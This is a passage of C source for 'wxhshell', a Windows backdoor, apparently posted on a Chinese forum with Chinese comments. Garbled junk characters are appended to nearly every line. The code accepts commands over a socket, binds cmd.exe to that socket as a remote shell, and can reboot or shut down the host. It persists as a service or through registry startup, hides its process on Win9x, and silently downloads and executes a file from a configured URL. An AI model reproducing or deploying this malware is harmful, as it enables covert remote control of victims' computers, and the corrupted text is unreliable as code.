  ,T~5iLKY  
  // 帮助 i4r~eneP  
  case '?': { jeFl+K'1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]b| @<E7Y  
    break; <d`UifqD  
  } 6i9I 4*'  
  // 安装 2^M+s\p  
  case 'i': { ^ED>{UiNI  
    if(Install()) Df3v"iCq}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h1o+7  
    else h#ot)m|I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E+Mdl*  
    break; b}*bgx@<  
    } &Q+V I/p  
  // 卸载 ',j-n$Z^=  
  case 'r': { &D w~Jq|  
    if(Uninstall()) ]~Qkg+>'&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /iuNdh  
    else GZX!iT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :uDB3jN[  
    break; N,Bs% p#1  
    } qM !q,Q  
  // 显示 wxhshell 所在路径 U7eQ-r  
  case 'p': { G.e\#_RR?  
    char svExeFile[MAX_PATH]; kP@OIhRe  
    strcpy(svExeFile,"\n\r"); OSIp  
      strcat(svExeFile,ExeFile); R0d|j#vP  
        send(wsh,svExeFile,strlen(svExeFile),0); oXkhj,{y5  
    break; /n7,B}  
    } O;?~#E<6w  
  // 重启 Bcon4  
  case 'b': { KptLeb:Om  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YDD]n*&  
    if(Boot(REBOOT)) ADz|Y~V!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bQjHQ"G  
    else { 3*JybMo"  
    closesocket(wsh); >G~;2K[  
    ExitThread(0); MA6%g} o  
    } obolDh a  
    break; @cGql=t  
    } bM3e7olWS  
  // 关机 AR3=G>hO,  
  case 'd': { L"/ato  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D9C; JD  
    if(Boot(SHUTDOWN)) i=QhX CM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ttVSgKAsm  
    else { BIyG[y?qO  
    closesocket(wsh); o2jB~}VMl  
    ExitThread(0); '=* 5C{  
    } Ft !~w#&-  
    break; K_3ZJ  
    } 4]KceE  
  // 获取shell H4Ek,m|c  
  case 's': { L1i> %5:g  
    CmdShell(wsh); O8o18m8UH  
    closesocket(wsh); &W!@3O{~.  
    ExitThread(0); a<.@+sj{  
    break; iNSJOS  
  } V'/%)oU\"  
  // 退出 \0*LfVr;P  
  case 'x': { a $:N9&P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c'R|Wyf  
    CloseIt(wsh); v4aGL<SO  
    break; {'kL]qLg  
    } pBkPn+@  
  // 离开 =^vUb  
  case 'q': { @7'gr>_E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B=|sLs`I  
    closesocket(wsh); Hefqzu  
    WSACleanup(); {!h[@f4  
    exit(1); >,vuC4v-  
    break; {p iS3xBi  
        } Z4' v  
  } 92Iv'(1ba  
  } "O "@HVF@  
0in6 z  
  // 提示信息 JN)t'm[kyE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W:J00rsv=`  
} 7Y:s6R|  
  } N>Y3[G+  
iwJgU b  
  return; ^)~M,rW8c  
} %C<eR_  
UUq9UV-h  
// shell模块句柄 yr'`~[oSCy  
int CmdShell(SOCKET sock) kq-RM#Dj:  
{ E@KK\m \e  
STARTUPINFO si; amgex$  
ZeroMemory(&si,sizeof(si)); N0C5FSH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rC16?RovQ@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -X \v B  
PROCESS_INFORMATION ProcessInfo; ]du~V?N   
char cmdline[]="cmd"; H1M>60*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WgB,,L,  
  return 0; zu%pr95U  
} ta(x4fP_  
gEu\X|7'  
// 自身启动模式 \O~7X0 <W  
int StartFromService(void) _P:P5H8  
{ *p^MAk9=  
typedef struct Xy +|D#b  
{ B#yyO>0k]  
  DWORD ExitStatus; {r)M@@[  
  DWORD PebBaseAddress; ,P+&-}gn9  
  DWORD AffinityMask; m>_'f{&u  
  DWORD BasePriority; m<4Lo0?nS  
  ULONG UniqueProcessId; ZxW V ,s&p  
  ULONG InheritedFromUniqueProcessId; Op{Mc$5a  
}   PROCESS_BASIC_INFORMATION; $@Fj_ N  
j;.&+.  
PROCNTQSIP NtQueryInformationProcess; a\MJbBXv  
)Be;Zw.|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \Y$NGB=2[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ):@B1 yR  
psVRdluS   
  HANDLE             hProcess; 1rC'sfz  
  PROCESS_BASIC_INFORMATION pbi; :JYOC+#q7  
] W_T(C*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OH w6#N$\  
  if(NULL == hInst ) return 0; 9'M_tMm5  
I j /J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =g:\R$lQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jg(A_V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ->(B: Cz  
_G|6xlO  
  if (!NtQueryInformationProcess) return 0; 1Rh&04O>VL  
t JP(eaqZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y (A"g3^=  
  if(!hProcess) return 0; bOdD:=f  
LmE-&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A5b}G  
8TZe=sD~cr  
  CloseHandle(hProcess); g d-fJ._1  
mN`a]L'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MgekLP )&  
if(hProcess==NULL) return 0; DI\sq8J^  
Fwr,e;Z  
HMODULE hMod; P$bo8*  
char procName[255]; r[x7?cXsW  
unsigned long cbNeeded; 5tL6R3  
*QX$Mo^E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8 _J:Yg  
XN@5TZoaW  
  CloseHandle(hProcess); xjYFTb}!  
;z68`P-  
if(strstr(procName,"services")) return 1; // 以服务启动 =3'wHl  
_u0dt) $  
  return 0; // 注册表启动 h| Ih4  
} Sa0\9 3oa  
0Ju{6x(|  
// 主模块 >Vvc55z  
int StartWxhshell(LPSTR lpCmdLine) Evc 9k  
{ &}r932  
  SOCKET wsl; KB^IGF  
BOOL val=TRUE; 5eYCnc9  
  int port=0; 1^COR+>L  
  struct sockaddr_in door; uD"Voh|]=  
=ZQIpc  
  if(wscfg.ws_autoins) Install(); IYWD_}_ $  
A{QS+fa/  
port=atoi(lpCmdLine); 19S,>  
 x^"OH  
if(port<=0) port=wscfg.ws_port; " O4Z).5q3  
JF7T1T  
  WSADATA data; -[=`bHo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X:A\{^ ~  
?2M15Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?=,tcN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8HzEH-J   
  door.sin_family = AF_INET; aF:I]]TfK~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1\Mcs X4  
  door.sin_port = htons(port); C9h8d   
S(Pal/-"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;8@A7`^  
closesocket(wsl); ,oC r6 ]  
return 1; i< ih :  
} _ |; bh  
nT>?}/S  
  if(listen(wsl,2) == INVALID_SOCKET) { Oj:`r*z43  
closesocket(wsl); AXyuXB  
return 1; }IV7dKzl  
} fKfi   
  Wxhshell(wsl); ,O2F}5|;  
  WSACleanup(); ;23F8M%wH  
[8"nRlXH  
return 0; V;m3=k0U  
^^Ius ]  
} +m1edPA[  
#&2mu  
// 以NT服务方式启动 DeUDZL%/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ((y+FJH  
{ A1|:$tED+2  
DWORD   status = 0; 'g#))y  
  DWORD   specificError = 0xfffffff; 'D1@+FFU0  
X#J[Nn>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eRGip2^cq+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cX*^PSM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u^ T2  
  serviceStatus.dwWin32ExitCode     = 0; c[5>kQ-nq  
  serviceStatus.dwServiceSpecificExitCode = 0; vF_?1|*|  
  serviceStatus.dwCheckPoint       = 0; 0iYe>u  
  serviceStatus.dwWaitHint       = 0; xZkLN5I{  
b;yhgdFx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "0 v]O~s  
  if (hServiceStatusHandle==0) return; u@o3p*bQ  
a^2?W  
status = GetLastError(); \^+sgg{  
  if (status!=NO_ERROR) Rzb] mM  
{ S4Rv6{r:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (]ORB0kl  
    serviceStatus.dwCheckPoint       = 0; znM"P|A  
    serviceStatus.dwWaitHint       = 0; S\C   
    serviceStatus.dwWin32ExitCode     = status; A%9"7]:   
    serviceStatus.dwServiceSpecificExitCode = specificError; 6)TFb,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n_aKciF  
    return; (Yx rZ_F'b  
  } vs.q<i-u  
OvFZ&S[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O6`@'N>6P  
  serviceStatus.dwCheckPoint       = 0; *P_TG"^{W  
  serviceStatus.dwWaitHint       = 0; -X |G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 43/|[  
} ]Z~H9!%t  
`0sa94H1[  
// 处理NT服务事件,比如:启动、停止 IlwY5iL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E_xpq  
{ mFvw s  
switch(fdwControl) H}:apRb  
{ 3&}wfK]X  
case SERVICE_CONTROL_STOP: /_LUys/0  
  serviceStatus.dwWin32ExitCode = 0; ~2pctqMA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >iq^Ts  
  serviceStatus.dwCheckPoint   = 0; RY*6TYX!  
  serviceStatus.dwWaitHint     = 0; I3SLR  
  { *u-TNg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  yXDf;`J  
  } c=ZX7U  
  return; E;h#3 B9  
case SERVICE_CONTROL_PAUSE: Q.!8q3`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^*iZN =\  
  break; Gs-'  
case SERVICE_CONTROL_CONTINUE: \ Xuu|]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j88H3bi0  
  break; 7)[4|I  
case SERVICE_CONTROL_INTERROGATE: iX4/;2B=,  
  break; 9m<>G3Jr  
}; -tDmzuD6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~_R=2t{u _  
}  |,.glL  
{4#'`Eejj  
// 标准应用程序主函数 C[~b6 UP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @$Y`I{Xf  
{ x5{ zGv.j  
Yh4e\]ql~N  
// 获取操作系统版本 L!5%;!>.P  
OsIsNt=GetOsVer(); vK|d P3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >V NMQ  
xGz$M@f  
  // 从命令行安装 R,tR{| 8  
  if(strpbrk(lpCmdLine,"iI")) Install(); wWwY .}j  
KaOS!e'  
  // 下载执行文件 HmQuRW  
if(wscfg.ws_downexe) { Y,?rykRj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @ j' I  
  WinExec(wscfg.ws_filenam,SW_HIDE); c,e 0+  
} _pW\F(+8  
'*W/Bett  
if(!OsIsNt) { GCc@ :*4[  
// 如果时win9x,隐藏进程并且设置为注册表启动 w(s"r p}  
HideProc(); eRD s?n3F  
StartWxhshell(lpCmdLine); Nmp1[/{J  
} .4U::j}  
else #VD[\#  
  if(StartFromService()) DUa`8cE}  
  // 以服务方式启动 !30BZM^  
  StartServiceCtrlDispatcher(DispatchTable); 1[dza5  
else =`g+3 O;<  
  // 普通方式启动 n;4` IK|  
  StartWxhshell(lpCmdLine); eja_+`cJ  
z$;z&X$j  
return 0; aA=qel  
}
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只看该作者 1 发表于: 2006-10-10
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